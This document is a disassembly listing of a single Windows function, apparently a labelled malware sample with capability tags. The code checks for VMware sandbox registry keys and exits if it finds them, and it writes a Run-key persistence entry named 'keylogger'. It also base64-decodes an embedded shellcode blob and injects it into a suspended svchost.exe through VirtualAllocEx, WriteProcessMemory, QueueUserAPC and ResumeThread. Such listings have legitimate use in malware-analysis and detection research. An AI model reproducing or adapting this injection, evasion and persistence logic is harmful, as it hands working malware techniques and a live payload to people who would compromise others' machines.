Function at 0x69fc1746
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Create process suspended
Execute command
Inject apc
Persist via run registry key
Resume thread
Self delete
Set registry value
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x13c
mov eax, dword [ebp + 0xc]
cmp eax, 1
je 0x69fc1771
cmp eax, 1
jb 0x69fc1c3b
cmp eax, 3
ja 0x69fc1c3c
jmp 0x69fc1c3b
mov dword [ebp - 0x1c], 1
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x54], 0
lea eax, [ebp - 0x50]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0x20019
mov dword [esp + 8], 0
mov dword [esp + 4], str.SOFTWAREVmware_Inc.Vmware_Tools
mov dword [esp], 0x80000002
call sym._RegOpenKeyExA_20
sub esp, 0x14
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x54]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0x20019
mov dword [esp + 8], 0
mov dword [esp + 4], str.HARDWAREDEVICEMAPScsiScsi_Port_2Scsi_Bus_0Target_Id_0Logical_Unit_Id_0Identifier
mov dword [esp], 0x80000002
call sym._RegOpenKeyExA_20
sub esp, 0x14
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x20], 0
je 0x69fc17f4
cmp dword [ebp - 0x24], 0
jne 0x69fc182e
mov dword [esp + 0xc], 2
mov dword [esp + 8], str.Alert
mov dword [esp + 4], str.Sandbox_detected
mov dword [esp], 0
call sym._MessageBoxA_16
sub esp, 0x10
mov dword [ebp - 0x1c], 2
mov dword [esp], 0
call sym._ExitProcess_4
mov ebx, 0x69fc46b0
mov esi, 6
lea eax, [ebp - 0x4a]
mov ecx, eax
call fcn.69fc2858
lea eax, [ebp - 0x60]
lea edx, [ebp - 0x4a]
mov dword [esp + 8], edx
mov dword [esp], ebx
mov dword [esp + 4], esi
mov ecx, eax
call method.std::vector_char_const__std::allocator_char_const___.vector_std::initializer_list_char_const___std::allocator_char_const__const_
sub esp, 0xc
lea eax, [ebp - 0x4a]
mov ecx, eax
call method.std::allocator_char_const_.allocator__
lea eax, [ebp - 0x60]
mov dword [esp], eax
call sym.BrLogAPI.dll_IsAnyProcessRunning_std::vector_char_const__std::allocator_char_const____const_
test al, al
je 0x69fc1889
mov dword [ebp - 0x1c], 2
mov dword [esp], 0
call sym._ExitProcess_4
mov dword [esp + 0xc], 0x20
mov dword [esp + 8], str.Success
mov dword [esp + 4], str.Hello__youre_being_hacked
mov dword [esp], 0
call sym._MessageBoxA_16
sub esp, 0x10
cmp dword [ebp - 0x1c], 0
jne 0x69fc1996
mov dword [esp + 0xc], 0
mov dword [esp + 8], str.Success
mov dword [esp + 4], str.Malware_Loaded
mov dword [esp], 0
call sym._MessageBoxA_16
sub esp, 0x10
mov dword [esp], str.python_decrypt.py
call sym._system
mov dword [esp], str.g__o_test.exe_decoded_output.cpp
call sym._system
mov dword [esp], str.del__Recurse__Force_decoded_output.cpp
call sym._system
mov dword [ebp - 0x64], 0
mov dword [ebp - 0x28], str.C:Users_username_path_to_test.exe
lea eax, [ebp - 0x64]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0x20006
mov dword [esp + 8], 0
mov dword [esp + 4], str.SOFTWAREMicrosoftWindowsCurrentVersionRun
mov dword [esp], 0x80000001
call sym._RegOpenKeyExA_20
sub esp, 0x14
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0
jne 0x69fc1996
mov eax, dword [ebp - 0x28]
mov dword [esp], eax
call sym._strlen
mov edx, eax
mov eax, dword [ebp - 0x64]
mov dword [esp + 0x14], edx
mov edx, dword [ebp - 0x28]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
mov dword [esp + 4], str.keylogger
mov dword [esp], eax
call sym._RegSetValueExA_24
sub esp, 0x18
mov eax, dword [ebp - 0x64]
mov dword [esp], eax
call sym._RegCloseKey_4
sub esp, 4
cmp dword [ebp - 0x1c], 1
jne 0x69fc1c2e
mov eax, esp
mov esi, eax
lea eax, [ebp - 0x49]
mov ecx, eax
call fcn.69fc1dcc
lea eax, [ebp - 0x7c]
lea edx, [ebp - 0x49]
mov dword [esp + 4], edx
mov dword [esp], str.XHgzM1x4YzlceDY0XHg4Ylx4NDlceDMwXHg4Ylx4NDlceDBjXHg4Ylx4NDlceDFjXHg4Ylx4NTlceDA4XHg4Ylx4NDFceDIwXHg4Ylx4MDlceDgwXHg3OFx4MGNceDMzXHg3NVx4ZjJceDhiXHhlYlx4MDNceDZkXHgzY1x4OGJceDZkXHg3OFx4MDNceGViXHg4Ylx4NDVceDIwXHgwM1x4YzNceDMzXHhkMlx4OGJceDM0XHg5MFx4MDNceGYzXHg0Mlx4ODFceDNlXHg0N1x4NjVceDc0XHg1MFx4NzVceGYyXHg4MVx4N2VceDA0XHg3Mlx4NmZceDYzXHg0MVx4NzVceGU5XHg4Ylx4NzVceDI0XHgwM1x4ZjNceDY2XHg4Ylx4MTRceDU2XHg4Ylx4NzVceDFjXHgwM1x4ZjNceDhiXHg3NFx4OTZceGZjXHgwM1x4ZjNceDMzXHhmZlx4NTdceDY4XHg2MVx4NzJceDc5XHg0MVx4NjhceDRjXHg2OVx4NjJceDcyXHg2OFx4NGNceDZmXHg2MVx4NjRceDU0XHg1M1x4ZmZceGQ2XHgzM1x4YzlceDU3XHg2Nlx4YjlceDMzXHgzMlx4NTFceDY4XHg3NVx4NzNceDY1XHg3Mlx4NTRceGZmXHhkMFx4NTdceDY4XHg2Zlx4NzhceDQxXHgwMVx4ZmVceDRjXHgyNFx4MDNceDY4XHg2MVx4NjdceDY1XHg0Mlx4NjhceDRkXHg2NVx4NzNceDczXHg1NFx4NTBceGZmXHhkNlx4NTdceDY4XHg3Mlx4NmNceDY0XHgyMVx4NjhceDZmXHgyMFx4NTdceDZmXHg2OFx4NDhceDY1XHg2Y1x4NmNceDhiXHhjY1x4NTdceDU3XHg1MVx4NTdceGZmXHhkMFx4NTdceDY4XHg2NVx4NzNceDczXHgwMVx4ZmVceDRjXHgyNFx4MDNceDY4XHg1MFx4NzJceDZmXHg2M1x4NjhceDQ1XHg3OFx4NjlceDc0XHg1NFx4NTNceGZmXHhkNlx4NTdceGZmXHhkMA
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__std::allocator_char__const_
sub esp, 8
lea eax, [ebp - 0x49]
mov ecx, eax
call sym.std::allocator_char_::allocator__
lea eax, [ebp - 0x94]
lea edx, [ebp - 0x7c]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym.BrLogAPI.dll_base64_decode_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea eax, [ebp - 0x94]
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::length___const
mov ebx, eax
mov dword [ebp - 0x30], ebx
mov eax, ebx
lea edx, [eax + 1]
mov eax, 0x10
sub eax, 1
add eax, edx
mov edi, 0x10
mov edx, 0
div edi
imul eax, eax, 0x10
call fcn.69fc24e8
sub esp, eax
lea eax, [esp + 0x28]
add eax, 0
mov dword [ebp - 0x34], eax
lea eax, [ebp - 0x94]
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::c_str___const
mov edx, eax
mov eax, dword [ebp - 0x34]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._strcpy
mov eax, ebx
add eax, 1
mov dword [ebp - 0x38], eax
lea edx, [ebp - 0xec]
mov eax, 0
mov ecx, 0x11
mov edi, edx
rep stosd dword es:[edi], eax
mov dword [ebp - 0xa4], 0
mov dword [ebp - 0xa0], 0
mov dword [ebp - 0x9c], 0
mov dword [ebp - 0x98], 0
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0xa8], 0
mov dword [ebp - 0x10c], 0x575c3a43
mov dword [ebp - 0x108], 0x6f646e69
mov dword [ebp - 0x104], 0x535c7377
mov dword [ebp - 0x100], 0x65747379
mov dword [ebp - 0xfc], 0x5c32336d
mov dword [ebp - 0xf8], 0x68637673
mov dword [ebp - 0xf4], 0x2e74736f
mov dword [ebp - 0xf0], 0x657865
lea eax, [ebp - 0xa4]
mov dword [esp + 0x24], eax
lea eax, [ebp - 0xec]
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 4
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
lea eax, [ebp - 0x10c]
mov dword [esp], eax
call sym._CreateProcessA_40
sub esp, 0x28
mov eax, dword [ebp - 0xa4]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0xa0]
mov dword [ebp - 0x44], eax
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], 0x3000
mov eax, dword [ebp - 0x38]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x40]
mov dword [esp], eax
call sym._VirtualAllocEx_20
sub esp, 0x14
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x34]
mov dword [esp + 0x10], 0
mov edx, dword [ebp - 0x38]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x3c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x40]
mov dword [esp], eax
call sym._WriteProcessMemory_20
sub esp, 0x14
lea eax, [ebp - 0xa8]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0x20
mov eax, dword [ebp - 0x38]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x3c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x40]
mov dword [esp], eax
call sym._VirtualProtectEx_20
sub esp, 0x14
mov dword [esp + 8], 0
mov eax, dword [ebp - 0x44]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x48]
mov dword [esp], eax
call sym._QueueUserAPC_12
sub esp, 0xc
mov eax, dword [ebp - 0x44]
mov dword [esp], eax
call sym._ResumeThread_4
sub esp, 4
lea eax, [ebp - 0x94]
mov ecx, eax
call fcn.69fc1dac
lea eax, [ebp - 0x7c]
mov ecx, eax
call fcn.69fc1dac
mov esp, esi
nop
lea eax, [ebp - 0x60]
mov ecx, eax
call method.std::vector_char_const__std::allocator_char_const___.vector__
jmp 0x69fc1c3c
nop
mov eax, 1
jmp 0x69fc1ca4
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret 0xc